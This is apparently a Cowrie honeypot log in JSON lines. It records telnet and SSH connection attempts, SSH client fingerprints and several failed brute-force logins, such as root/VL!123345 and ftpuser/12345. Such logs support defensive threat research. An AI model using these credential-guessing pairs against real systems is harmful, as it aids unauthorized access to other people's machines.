{"eventid":"cowrie.session.closed","duration":48.68707323074341,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:25.976619Z","src_ip":"206.189.32.23","session":"8b7b7ed83738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34254,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd2b35a5d87a","protocol":"telnet","message":"New connection: 162.55.233.176:34254 (159.203.135.109:23) [session: cd2b35a5d87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:26.647142Z"}
{"eventid":"cowrie.session.closed","duration":37.38525080680847,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:26.910587Z","src_ip":"162.55.233.176","session":"0bf9cbcbace4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VL!123345","message":"login attempt [root/VL!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:28.227447Z","src_ip":"213.209.159.158","session":"9ac29da558c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34258,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e72238f9a67","protocol":"telnet","message":"New connection: 162.55.233.176:34258 (159.203.135.109:23) [session: 6e72238f9a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:29.501086Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38314,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd7d2cee02b5","protocol":"telnet","message":"New connection: 188.208.141.113:38314 (10.17.0.5:23) [session: bd7d2cee02b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:29.744355Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34272,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9529e26e5a","protocol":"telnet","message":"New connection: 162.55.233.176:34272 (159.203.135.109:23) [session: ad9529e26e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:31.229899Z"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:31.362422Z","src_ip":"213.209.159.158","session":"9ac29da558c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9312,"dst_ip":"10.17.0.5","dst_port":22,"session":"dab308fbc5b3","protocol":"ssh","message":"New connection: 213.209.159.158:9312 (10.17.0.5:22) [session: dab308fbc5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:31.445965Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":2518,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb9c248ab8eb","protocol":"ssh","message":"New connection: 38.137.11.14:2518 (10.17.0.5:22) [session: cb9c248ab8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:32.093650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:32.097796Z","src_ip":"38.137.11.14","session":"cb9c248ab8eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:32.326143Z","src_ip":"38.137.11.14","session":"cb9c248ab8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"12345","message":"login attempt [ftpuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:33.271512Z","src_ip":"38.137.11.14","session":"cb9c248ab8eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38696,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b213bdc9483","protocol":"telnet","message":"New connection: 162.55.233.176:38696 (159.203.135.109:23) [session: 6b213bdc9483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:34.061356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:34.106804Z","src_ip":"213.209.159.158","session":"dab308fbc5b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:34.110188Z","src_ip":"213.209.159.158","session":"dab308fbc5b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38704,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a51c4dc9489","protocol":"telnet","message":"New connection: 162.55.233.176:38704 (159.203.135.109:23) [session: 6a51c4dc9489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:34.300602Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:34.502590Z","src_ip":"38.137.11.14","session":"cb9c248ab8eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38712,"dst_ip":"159.203.135.109","dst_port":23,"session":"080e1adba308","protocol":"telnet","message":"New connection: 162.55.233.176:38712 (159.203.135.109:23) [session: 080e1adba308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:35.082107Z"}
{"eventid":"cowrie.session.closed","duration":35.51024127006531,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:36.108979Z","src_ip":"162.55.233.176","session":"5bdfa2e3ca7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38714,"dst_ip":"159.203.135.109","dst_port":23,"session":"269c1d397d59","protocol":"telnet","message":"New connection: 162.55.233.176:38714 (159.203.135.109:23) [session: 269c1d397d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:36.113208Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38730,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75d182bbe04","protocol":"telnet","message":"New connection: 162.55.233.176:38730 (159.203.135.109:23) [session: a75d182bbe04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:36.876101Z"}
{"eventid":"cowrie.session.closed","duration":31.395761966705322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:37.244247Z","src_ip":"162.55.233.176","session":"a4e99693bfcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.12942838668823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:37.977807Z","src_ip":"162.55.233.176","session":"77bc979c2843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38734,"dst_ip":"159.203.135.109","dst_port":23,"session":"44ee3ebb8f0e","protocol":"telnet","message":"New connection: 162.55.233.176:38734 (159.203.135.109:23) [session: 44ee3ebb8f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:38.387989Z"}
{"eventid":"cowrie.session.closed","duration":120.00186371803284,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:38.802669Z","src_ip":"206.189.32.23","session":"4ec7cfeb3afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38746,"dst_ip":"159.203.135.109","dst_port":23,"session":"486433ce0c04","protocol":"telnet","message":"New connection: 162.55.233.176:38746 (159.203.135.109:23) [session: 486433ce0c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:40.391090Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53396,"dst_ip":"10.17.0.5","dst_port":23,"session":"176f7bfcd12a","protocol":"telnet","message":"New connection: 188.208.141.113:53396 (10.17.0.5:23) [session: 176f7bfcd12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:41.041840Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38760,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c40369754c9","protocol":"telnet","message":"New connection: 162.55.233.176:38760 (159.203.135.109:23) [session: 9c40369754c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:42.612936Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlan35cnktu","message":"login attempt [root/vlan35cnktu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:43.037279Z","src_ip":"213.209.159.158","session":"dab308fbc5b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35294,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f780b4f54e3","protocol":"telnet","message":"New connection: 162.55.233.176:35294 (159.203.135.109:23) [session: 4f780b4f54e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:44.023967Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35310,"dst_ip":"159.203.135.109","dst_port":23,"session":"38150a0767f5","protocol":"telnet","message":"New connection: 162.55.233.176:35310 (159.203.135.109:23) [session: 38150a0767f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:44.196814Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53402,"dst_ip":"10.17.0.5","dst_port":23,"session":"732f1f368023","protocol":"telnet","message":"New connection: 188.208.141.113:53402 (10.17.0.5:23) [session: 732f1f368023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:44.699560Z"}
{"eventid":"cowrie.session.closed","duration":32.56596326828003,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:46.468831Z","src_ip":"162.55.233.176","session":"566477ba4035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:46.653248Z","src_ip":"213.209.159.158","session":"dab308fbc5b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32006,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e74c9873339","protocol":"ssh","message":"New connection: 213.209.159.158:32006 (10.17.0.5:22) [session: 8e74c9873339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:46.745804Z"}
{"eventid":"cowrie.session.closed","duration":31.30596661567688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:47.304855Z","src_ip":"162.55.233.176","session":"08a5b1fdc4ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080837965011597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:47.432925Z","src_ip":"162.55.233.176","session":"63f1c3f35b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35322,"dst_ip":"159.203.135.109","dst_port":23,"session":"38b84b730131","protocol":"telnet","message":"New connection: 162.55.233.176:35322 (159.203.135.109:23) [session: 38b84b730131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:48.354214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:48.949332Z","src_ip":"213.209.159.158","session":"8e74c9873339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:48.953769Z","src_ip":"213.209.159.158","session":"8e74c9873339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.78678297996521,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:49.042911Z","src_ip":"162.55.233.176","session":"b1f5a5dfff3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35324,"dst_ip":"159.203.135.109","dst_port":23,"session":"08eca9db31ac","protocol":"telnet","message":"New connection: 162.55.233.176:35324 (159.203.135.109:23) [session: 08eca9db31ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:50.012536Z"}
{"eventid":"cowrie.session.closed","duration":34.37396740913391,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:50.587091Z","src_ip":"162.55.233.176","session":"5f8782a9c41f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35330,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d491d3c35f","protocol":"telnet","message":"New connection: 162.55.233.176:35330 (159.203.135.109:23) [session: 05d491d3c35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:50.909809Z"}
{"eventid":"cowrie.session.closed","duration":34.868916273117065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:51.878115Z","src_ip":"162.55.233.176","session":"9e023ddacc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35332,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a68022a741c","protocol":"telnet","message":"New connection: 162.55.233.176:35332 (159.203.135.109:23) [session: 4a68022a741c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:52.106110Z"}
{"eventid":"cowrie.session.closed","duration":34.31109166145325,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:52.176095Z","src_ip":"162.55.233.176","session":"c8099f3676b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36663794517517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:52.686026Z","src_ip":"162.55.233.176","session":"7cf595a57f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35622,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba600f94884c","protocol":"telnet","message":"New connection: 188.208.141.113:35622 (10.17.0.5:23) [session: ba600f94884c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:53.437130Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55738,"dst_ip":"159.203.135.109","dst_port":23,"session":"edb99c41b612","protocol":"telnet","message":"New connection: 162.55.233.176:55738 (159.203.135.109:23) [session: edb99c41b612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:53.795028Z"}
{"eventid":"cowrie.session.closed","duration":31.182642459869385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:55.039840Z","src_ip":"162.55.233.176","session":"6c325012d418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55740,"dst_ip":"159.203.135.109","dst_port":23,"session":"83b1aef29d4d","protocol":"telnet","message":"New connection: 162.55.233.176:55740 (159.203.135.109:23) [session: 83b1aef29d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:55.562983Z"}
{"eventid":"cowrie.session.closed","duration":40.40813207626343,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:56.331077Z","src_ip":"188.208.141.113","session":"c1570daab109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85659408569336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:56.633418Z","src_ip":"162.55.233.176","session":"78402dc0050a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55754,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d10b0bcf503","protocol":"telnet","message":"New connection: 162.55.233.176:55754 (159.203.135.109:23) [session: 3d10b0bcf503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:56.998683Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vowels","message":"login attempt [root/Vowels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:57.937095Z","src_ip":"213.209.159.158","session":"8e74c9873339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55766,"dst_ip":"159.203.135.109","dst_port":23,"session":"db13989a3bac","protocol":"telnet","message":"New connection: 162.55.233.176:55766 (159.203.135.109:23) [session: db13989a3bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:58.356946Z"}
{"eventid":"cowrie.session.closed","duration":36.75309658050537,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:58.480859Z","src_ip":"162.55.233.176","session":"8e2890d1136c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55774,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d54560b72f","protocol":"telnet","message":"New connection: 162.55.233.176:55774 (159.203.135.109:23) [session: 98d54560b72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:58.912821Z"}
{"eventid":"cowrie.session.closed","duration":39.98983955383301,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:59.069786Z","src_ip":"162.55.233.176","session":"fa68a048532c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.201427698135376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:59.848447Z","src_ip":"162.55.233.176","session":"cd2b35a5d87a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55776,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f45393103ed","protocol":"telnet","message":"New connection: 162.55.233.176:55776 (159.203.135.109:23) [session: 1f45393103ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:00.055978Z"}
{"eventid":"cowrie.session.closed","duration":38.540178298950195,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:00.836815Z","src_ip":"162.55.233.176","session":"ba8607a0bc42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:01.390576Z","src_ip":"213.209.159.158","session":"8e74c9873339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62622,"dst_ip":"10.17.0.5","dst_port":22,"session":"7398dd52228b","protocol":"ssh","message":"New connection: 213.209.159.158:62622 (10.17.0.5:22) [session: 7398dd52228b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:01.468954Z"}
{"eventid":"cowrie.session.closed","duration":37.07531189918518,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:02.768855Z","src_ip":"162.55.233.176","session":"edac9e007884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59832,"dst_ip":"159.203.135.109","dst_port":23,"session":"62ef2fe898fc","protocol":"telnet","message":"New connection: 162.55.233.176:59832 (159.203.135.109:23) [session: 62ef2fe898fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:52:03.063203Z"}
